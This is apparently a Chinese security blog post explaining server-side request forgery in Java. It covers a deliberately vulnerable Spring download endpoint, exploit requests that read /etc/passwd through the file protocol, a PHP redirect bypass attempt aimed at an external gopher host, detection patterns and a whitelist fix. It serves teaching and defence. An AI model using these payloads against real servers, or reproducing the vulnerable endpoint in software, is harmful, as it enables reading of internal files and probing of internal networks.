SSRF in Java

xianzhi / 2017-04-10 02:42:00 / 浏览数 7461 

---

本文主要说明Java的SSRF的漏洞代码、利用方式、如何修复。
网络上对Java的SSRF介绍较少，甚至还有很多误区。

## 1. 漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞，一般用来在外网探测或攻击内网服务。

## 2. 漏洞利用

### 2.1 网络请求支持的协议

由于Java没有php的cURL，所以Java SSRF支持的协议，不能像php使用`curl -V`查看。

Java网络请求支持的协议可通过下面几种方法检测：

- 代码中遍历协议
- 官方文档中查看
- `import sun.net.www.protocol`查看

从`import sun.net.www.protocol`可以看到，支持以下协议

```
file ftp mailto http https jar netdoc
```

### 2.2 发起网络请求的类

当然，SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。

- HttpClient
- Request (对HttpClient封装后的类)
- HttpURLConnection
- URLConnection
- URL
- okhttp

如果发起网络请求的类是带HTTP开头，那只支持HTTP、HTTPS协议。

比如：

```
HttpURLConnection
HttpClient
Request
okhttp
```

所以，如果用以下类的方法发起请求，则支持`sun.net.www.protocol`所有协议

```
URLConnection
URL
```

注意，Request类对HttpClient进行了封装。类似Python的requests库。
用法及其简单，一行代码就可以获取网页内容。

```
Request.Get(url).execute().returnContent().toString();
```

### 2.3 漏洞代码

使用URL类的openStream发起网络请求造成的SSRF（Java Web代码）。
代码功能是远程下载文件并下载。

```
/**
* Author: JoyChou
* Date: 17/4/1
*/

import org.springframework.boot.*;
```

```
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import java.io.InputStream;
import java.io.OutputStream;
import com.google.common.io.Files;
import org.apache.commons.lang.StringUtils;

import java.net.URL;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@Controller
@EnableAutoConfiguration
public class SecController {
   @RequestMapping("/")
   @ResponseBody
   String home() {
       return "Hello World!";
   }

   @RequestMapping("/download")
   @ResponseBody
   public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{
       try {
           String url = request.getParameter("url");
           if (StringUtils.isBlank(url)) {
               throw new IllegalArgumentException("url■■");
           }
           downLoadImg(response, url);
       }catch (Exception e) {
           throw new IllegalArgumentException("■■");
       }
   }
   private void downLoadImg (HttpServletResponse response, String url) throws IOException {
       InputStream inputStream = null;
       OutputStream outputStream = null;
       try {
           String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url);
           response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);

           URL u;
           int length;
           byte[] bytes = new byte[1024];
           u = new URL(url);
           inputStream = u.openStream();
           outputStream = response.getOutputStream();
           while ((length = inputStream.read(bytes)) > 0) {
               outputStream.write(bytes, 0, length);
           }

       }catch (Exception e) {
           e.printStackTrace();
       }finally {
           if (inputStream != null) {
               inputStream.close();
           }
           if (outputStream != null) {
               outputStream.close();
           }

       }
   }

   public static void main(String[] args) throws Exception {
       SpringApplication.run(SecController.class, args);
   }
```

```
}
```

利用方式：

```
# ■■file■■■■■■■■
```

```
curl -v 'http://localhost:8080/download?url=file:///etc/passwd'
```

尝试发起gopher协议，收到异常：

```
java.net.MalformedURLException: unknown protocol: gopher
```

所以，除了上面的协议都不支持。

那尝试使用302跳转到gopher进行bypass。

先在一台vps上写一个302.php，如果发生跳转，那么35.185.163.134的2333端口将会收到请求。

PS：Java默认会URL重定向。

```
<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>
```

访问payload

```
http://localhost:8080/download?url=http://joychou.me/302.php
```

收到异常：

```
java.net.MalformedURLException: unknown protocol: gopher
```

跟踪报错代码：

```
private boolean followRedirect() throws IOException {
       if(!this.getInstanceFollowRedirects()) {
           return false;
       } else {
           final int var1 = this.getResponseCode();
           if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
               final String var2 = this.getHeaderField("Location");
               if(var2 == null) {
                   return false;
               } else {
                   URL var3;
                   try {
                       // ■■■■■■■■■■var2■■■■`gopher://35.185.163.134:2333/_joy%0achou`
                       var3 = new URL(var2);
                       /* ■■■■■■■■■■■■■■■■■■■■■■■■
                        * ■http://joychou.me/302.php■■■■■■gopher://35.185.163.134:2333/_joy%0achou■■
                        */
                       if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
                           return false;
                       }
                   } catch (MalformedURLException var8) {
                       var3 = new URL(this.url, var2);
                   }
```

从上面的followRedirect方法可以看到：

- 实际跳转的url也在限制的协议内
- 传入的url协议必须和重定向的url协议一致

所以，Java的SSRF利用方式比较局限

- 利用file协议任意文件读取。
- 利用http协议端口探测

其他漏洞代码可查看：https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java

3. 白盒规则

上面的漏洞代码可总结为4种情况：

```
/*
* Author: JoyChou(2017■04■11■)
*/

/* ■■■■■
* Request■
*/
Request.Get(url).execute()

/* ■■■■■
* URL■■openStream
*/
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();

/* ■■■■■
* HttpClient
*/
String url = "http://127.0.0.1";
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse;
try {
   // ■■■■■■■■■■
   httpResponse = client.execute(httpGet);

/* ■■■■■
* URLConnection■HttpURLConnection
*/
URLConnection urlConnection = url.openConnection();
HttpURLConnection urlConnection = url.openConnection();
```

4. 漏洞修复

那么，根据利用的方式，修复方法就比较简单。

- 限制协议为HTTP、HTTPS协议。
- 禁止URL传入内网IP或者设置URL白名单。
- 不用限制302重定向。

漏洞修复代码如下：

需要添加guava库(目的是获取一级域名)，在pom.xml中添加

```
<dependency>
   <groupId>com.google.guava</groupId>
   <artifactId>guava</artifactId>
   <version>21.0</version>
</dependency>
```

代码的验证逻辑：

1. 验证协议是否为http或者https
2. 验证url是否在白名单内

函数调用：

```
String[] urlwhitelist = {"joychou.org", "joychou.me"};
if (!securitySSRFUrlCheck(url, urlwhitelist)) {
   return;
}
```

函数验证代码：

```
public static Boolean securitySSRFUrlCheck(String url, String[] urlwhitelist) {
   try {
       URL u = new URL(url);
       // ■■■http■https■■■■■
       if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
           return  false;
       }
       // ■■■■■■■■■■
       String host = u.getHost().toLowerCase();
       // ■■■■■■
       String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();

       for (String whiteurl: urlwhitelist){
           if (rootDomain.equals(whiteurl)) {
               return true;
           }
       }
       return false;

   } catch (Exception e) {
       return false;
   }
}
```

最后，如果各位看客老爷，发现有其他的类也能发起网络请求，麻烦评论回复下。